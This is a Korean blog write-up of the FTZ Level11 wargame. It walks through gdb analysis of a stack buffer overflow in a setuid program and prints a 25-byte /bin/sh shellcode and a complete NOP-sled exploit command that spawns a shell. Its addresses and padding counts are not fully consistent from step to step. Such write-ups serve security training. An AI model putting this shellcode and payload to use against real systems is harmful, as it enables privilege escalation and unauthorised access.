ii4gsp
FTZ - Level11 본문
힌트를 보니 소스코드만 던져주었다.
디버깅을 하기위해 cp attackme /tmp명령어로 tmp폴더로 attackme파일을 복사해주고
gdb로 attackme를 열고 disas main을 해주면
str은 256바이트를 할당해주었는데 8바이트 dummy가 추가로 붙은것을 알수있다.
10진수 256은 16진수 0x100이다
<main+41>과 <main+48> 부분을 보면 0xfffffef8은 2진수로 1110 1111 1000인데 1의 보수를 구하면 0001 0000 0111이되고 2의 보수를 구해주면 +1이 되기때문에 264가 된다 ebp-264부터 입력값을 받는 것을 알 수 있다.
ebp-264에 argv[1]을 덮어쓰는 작업을 하고 난 후인 *main+53에 break point를 걸고
ret에 넣을 주소를 구해보려한다.
243byte를 채워주기 위해 A를 대입하고 25Byte의 Shell Code는 B로 대입을 하고 A는 NOP(0x90), 4byte를 채운 C에는 ret의 크기 만큼 대입을 하여 x/256x $esp를 통하여 ret에 넣을 주소를 구하는 과정이다
A는 기계어로 0x41이다 0x41이 나오는시점인 0xbffff490 주소를 ret로 사용 할 것이다
25byte크기 shellcode를 사용할것이다.
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80
payload
./attackme $(python -c 'print "\x90" * 227 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80" + "\x90" * 16 + "\x10\xf7\xff\xbf"')
세그먼트 폴트가 일어나는 이유는 ASLR이란 기법을 지원하고 있기때문에 스택영역의 주소가 일정하지 않고 계속 변동이 있기 때문에 공격코드를 계속 입력해보면 쉘을 획득할수 있다.
'시스템 해킹 > FTZ' 카테고리의 다른 글
FTZ - Level15 (0) | 2020.01.10 |
---|---|
FTZ - Level14 (0) | 2020.01.09 |
FTZ - Level13 (0) | 2020.01.08 |
FTZ - Level12 (0) | 2020.01.08 |
FTZ - Level9 (0) | 2020.01.06 |